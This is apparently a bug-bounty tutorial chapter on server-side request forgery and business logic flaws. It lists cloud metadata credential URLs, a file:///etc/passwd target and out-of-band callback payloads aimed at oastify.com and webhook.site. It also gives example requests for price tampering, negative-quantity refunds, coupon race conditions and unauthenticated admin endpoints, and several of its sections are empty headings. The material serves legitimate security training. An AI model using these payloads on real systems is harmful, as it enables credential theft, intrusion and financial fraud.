← Return to Ledger

SSRF & Business Logic

Part 1 — Server-Side Request Forgery (SSRF)

SSRF occurs when a web application fetches a remote resource based on a URL supplied by the user — and doesn't restrict which URLs are permitted. The server makes the request from its own network position, which means it can reach internal services, cloud metadata endpoints, and backend systems that are completely inaccessible from the internet.

The attacker never talks directly to the internal network. Instead they weaponize the application's own HTTP client — making it act as a proxy into infrastructure it was never meant to expose.

Where SSRF Hides — Common Injection Points

Any feature that fetches a URL on the server side is a potential SSRF vector. Look for:

• Profile photo from URL: "Import image from link" — server fetches and stores it. Submit an internal IP instead.
• PDF / screenshot generators: "Generate PDF of this URL" or "take a screenshot of this page" — classic SSRF. The server's headless browser navigates to your URL.
• Webhook configuration: "Enter a URL to receive notifications" — the server will POST to whatever you put there, including http://internal-service/.
• Link preview / metadata scrapers: Slack-style URL unfurling — "show me the title and description of this link". Server fetches the URL to extract metadata.
• XML / file imports with external references: SVG files, XML with DOCTYPE declarations, or spreadsheet imports can reference external URLs that the parser fetches.
• Integrations and API proxies: "Connect to this Slack workspace / JIRA instance" — parameters passed server-side to an internal HTTP client.

SSRF — How the Attack Works

High-Value SSRF Targets

Target URL	What It Exposes	Severity	Works On
http://169.254.169.254/latest/meta-data/	AWS EC2 instance metadata: IAM role names, temporary credentials, instance ID, AMI info	Critical	AWS EC2 instances
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE	Actual AWS access key, secret key, session token — usable immediately to call AWS APIs	Critical	AWS EC2 with IAM role
http://metadata.google.internal/computeMetadata/v1/	GCP service account tokens, project info, SSH keys	Critical	Google Cloud instances
http://169.254.169.254/metadata/instance?api-version=2021-02-01	Azure VM metadata, managed identity tokens	Critical	Azure VMs
http://localhost/ http://127.0.0.1/	Admin panels, internal APIs, services bound to loopback that aren't exposed externally	Critical	Any server
http://192.168.x.x/ http://10.x.x.x/	Internal network services: databases, admin dashboards, internal APIs, other app servers	High	Any server with internal network
file:///etc/passwd	Local file read if the HTTP client allows file:// scheme	High	Servers with loose URL scheme allowlist

Blind SSRF

In many cases the server fetches the URL but doesn't return the response body to you — only a success/fail status. This is blind SSRF. You can't read the internal service response directly, but you can still prove it by using an out-of-band detection technique.

Detection method: Use a unique URL that will generate a DNS lookup or HTTP request to a server you control. Burp Collaborator (built into Burp Suite Pro) generates a unique subdomain — any DNS resolution or HTTP request to it proves the server made an outbound connection.

Blind SSRF detection using Burp Collaborator# 1. In Burp Suite → Collaborator → Copy unique URL:
#    https://abc123xyz.oastify.com

# 2. Inject it into the SSRF injection point:
POST /import-feed
{"url": "http://abc123xyz.oastify.com/ssrf-test"}

# 3. Check Collaborator tab — if you see a DNS lookup
#    or HTTP request arrive, blind SSRF is confirmed.

# Alternative: webhook.site (free, no Burp Pro needed)
{"url": "https://webhook.site/your-unique-id"}

SSRF Filter Bypass Techniques

Applications often implement blocklists to prevent SSRF — blocking 127.0.0.1, localhost, and 169.254.169.254. These filters are consistently bypassable:

---

Part 2 — Business Logic Vulnerabilities

Business logic flaws aren't bugs in the code — the code works exactly as written. The flaw is in the design: a workflow step the developer assumed would always happen, a constraint they forgot to enforce, or an edge case they never considered. Scanners can't find them because the requests look completely legitimate. Only a human who understands how the feature is supposed to work can spot them.

Category 1: Price & Value Manipulation

Applications that trust client-supplied prices, discount amounts, or transaction values are directly exploitable. The fix is simple (never trust client-side prices — always recalculate server-side), but the mistake is common.

Intercept checkout request in Burp — modify the pricePOST /api/checkout HTTP/1.1
Content-Type: application/json

{
  "items": [{"id": "prod_9x2", "quantity": 1, "price": 999.00}],
  "total": 999.00
}

# Modify in Burp Repeater:
{
  "items": [{"id": "prod_9x2", "quantity": 1, "price": 0.01}],
  "total": 0.01
}

# If server trusts client price → item purchased for $0.01

Category 2: Negative Value & Integer Boundary Abuse

Input validation often checks for "too high" but forgets to check for negative values. This can reverse expected transaction flows.

Negative quantity → account credit instead of debitPOST /api/refund
{"order_id": "ORD-1234", "quantity": -5}

# Expected: server refuses negative quantity
# Vulnerable: server calculates refund * -5 = credits account

# Negative price on a coupon:
POST /api/apply-coupon
{"code": "SAVE10", "amount": -100}
# If amount is trusted → $100 added to cart instead of deducted

Category 3: Race Conditions

When two requests hit the server simultaneously, both can pass a check before either one has written its result. This is how single-use coupons get used multiple times, how gift card balances get over-spent, and how referral bonuses get claimed repeatedly.

Race condition on a single-use coupon — Burp Turbo Intruder# Normal flow:
# 1. Check coupon is unused → 2. Apply coupon → 3. Mark as used

# Race condition:
# Thread A: Check coupon (unused) ✓
# Thread B: Check coupon (unused) ✓  ← both pass before either writes
# Thread A: Apply coupon → mark used
# Thread B: Apply coupon → mark used   ← coupon applied twice!

# In Burp Turbo Intruder — send the same request 20 times in parallel:
# engine=Engine.THREADED → all fire simultaneously
# Look for 2+ success responses to the same coupon code

Category 4: Workflow Step Skipping

Multi-step processes often have security checks at one step but not at the step that actually performs the action. If you can jump directly to the final step, the check never runs.

Skipping an email verification step# Intended flow:
# Step 1: Submit email change request
# Step 2: Click verification link sent to OLD email
# Step 3: Change is confirmed

# Attack: Submit Step 1, then jump directly to the endpoint
# that handles "change confirmed" (Step 3) without Step 2.
# Some apps check for the verification only at Step 2 —
# if Step 3 doesn't re-verify, the email is changed without proof of ownership.

# Same pattern: order workflows, payment confirmation, 2FA setup,
# KYC verification before high-value actions.

Category 5: Discount & Coupon Logic

• Coupon stacking: Apply 10 different 10%-off coupons. Does the total go negative? Do discounts compound beyond 100%?
• Coupon reuse on different accounts: A "single-use per account" coupon — does the backend check by user ID, email, payment method, or device fingerprint? Each enforcement mechanism has gaps.
• Free item threshold manipulation: "Spend $50, get free shipping" — add items to reach $50, then remove items. Does the free shipping stay? Does the order total recalculate correctly?
• Referral bonus loops: Refer your own account (via a second email). Claim the referral bonus. Cancel the referred account. Repeat. Each cycle nets one bonus if cancellation isn't handled.

Category 6: Trust Boundary Violations

Applications often have implicit trust assumptions that aren't enforced. A user-tier action endpoint that checks role on page load but not in the API. An admin function that's hidden in the UI but fully accessible via direct API call. A "read-only" API key that accepts write operations.

Hidden admin endpoint accessible by regular users# Frontend: admin panel hidden, links not rendered for non-admins
# Backend: no authorization check on the actual endpoint

GET /api/admin/users      → 403 (correctly checked)
GET /admin/export-users   → 200 (HTML route — no auth check)
POST /api/admin/set-role  → 200 (forgot the auth middleware)

---

Real Bug Bounty Findings

Testing Methodology

SSRF Testing Checklist

Business Logic Testing Checklist

Essential Tools for This Chapter

Tool	Purpose	Key Usage
Burp Collaborator	Out-of-band detection for blind SSRF	Burp → Collaborator → Copy to clipboard. Inject URL. Check for DNS/HTTP callbacks. Pro feature — use webhook.site as a free alternative.
Burp Repeater	Manual parameter tampering for logic bugs	Intercept any transaction → Send to Repeater → Modify price/quantity/coupon fields → Resend → Compare responses.
Burp Turbo Intruder	Parallel request sending for race conditions	Right-click → Extensions → Turbo Intruder. Use the race condition template. Sends 20+ requests simultaneously to exploit timing windows.
webhook.site	Free out-of-band callback listener	Visit webhook.site, get a unique URL. Inject it as the SSRF/blind SSRF payload. Callbacks appear in real-time on the dashboard.
PortSwigger Labs	Guided hands-on SSRF and logic labs	SSRF: basic, blind, against another backend. Business logic: excessive discount, inconsistent handling, authentication bypass via flawed state machine.

Chapter 11 Operational Checklist